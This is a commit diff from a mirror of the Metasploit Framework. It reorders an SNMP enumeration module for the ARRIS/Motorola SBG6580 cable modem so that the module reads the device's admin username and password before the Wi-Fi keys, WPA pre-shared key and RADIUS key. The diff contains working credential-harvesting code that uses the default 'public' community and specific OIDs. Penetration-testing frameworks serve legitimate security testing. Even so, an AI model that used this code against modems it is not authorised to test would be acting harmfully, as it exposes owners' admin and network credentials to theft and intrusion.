infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Modified to pull username and password first

bug/bundler_fix
Matthew Kienow 2014-05-20 02:55:57 -04:00
parent 5153886077
commit e6126fde72
1 changed files with 23 additions and 23 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

46
modules/auxiliary/scanner/snmp/sbg6580_enum.rb
View File

@ -15,9 +15,9 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module',
'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola
SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports wireless
network keys and information as well as device user interface username
and password.
SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username
and password for the device user interface as well as wireless network keys
and information.
The default community used is "public".',
'References' =>
[
@ -36,11 +36,11 @@ class Metasploit3 < Msf::Auxiliary
# represents the order of the output data fields
fields_order = [
"Host IP", "SSID", "802.11 Band", "Network Authentication Mode",
"WEP Passphrase", "WEP Encryption", "WEP Key 1", "WEP Key 2",
"WEP Key 3", "WEP Key 4", "Current Network Key", "WPA Encryption",
"WPA Pre-Shared Key (PSK)", "RADIUS Server", "RADIUS Port",
"RADIUS Key", "Username", "Password"
"Host IP", "Username", "Password", "SSID", "802.11 Band",
"Network Authentication Mode", "WEP Passphrase", "WEP Encryption",
"WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4",
"Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)",
"RADIUS Server", "RADIUS Port", "RADIUS Key"
]
output_data = {}
@ -53,6 +53,21 @@ class Metasploit3 < Msf::Auxiliary
# already being displayed.
print_good("#{ip}, Connected.")
# attempt to get the username and password for the device user interface
# using the CableHome cabhPsDevMib MIB module which defines the
# basic management objects for the Portal Services (PS) logical element
# of a CableHome compliant Residential Gateway device
deviceUiSelection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0').to_i
if deviceUiSelection == 1
# manufacturerLocal(1) - indicates Portal Services is using the vendor
# web user interface shipped with the device
deviceUiUsername = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0').to_s
output_data["Username"] = deviceUiUsername.strip
deviceUiPassword = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0').to_s
output_data["Password"] = deviceUiPassword.strip
end
primaryWifiState = snmp.get_value('1.3.6.1.2.1.2.2.1.8.32').to_i
if primaryWifiState != 1
# primary Wifi interface is not up
@ -120,21 +135,6 @@ class Metasploit3 < Msf::Auxiliary
end
end
# attempt to get the username and password for the device user interface
# using the CableHome cabhPsDevMib MIB module which defines the
# basic management objects for the Portal Services (PS) logical element
# of a CableHome compliant Residential Gateway device
deviceUiSelection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0').to_i
if deviceUiSelection == 1
# manufacturerLocal(1) - indicates Portal Services is using the vendor
# web user interface shipped with the device
deviceUiUsername = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0').to_s
output_data["Username"] = deviceUiUsername.strip
deviceUiPassword = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0').to_s
output_data["Password"] = deviceUiPassword.strip
end
# output
print_line("")
print_status("Device information:\n")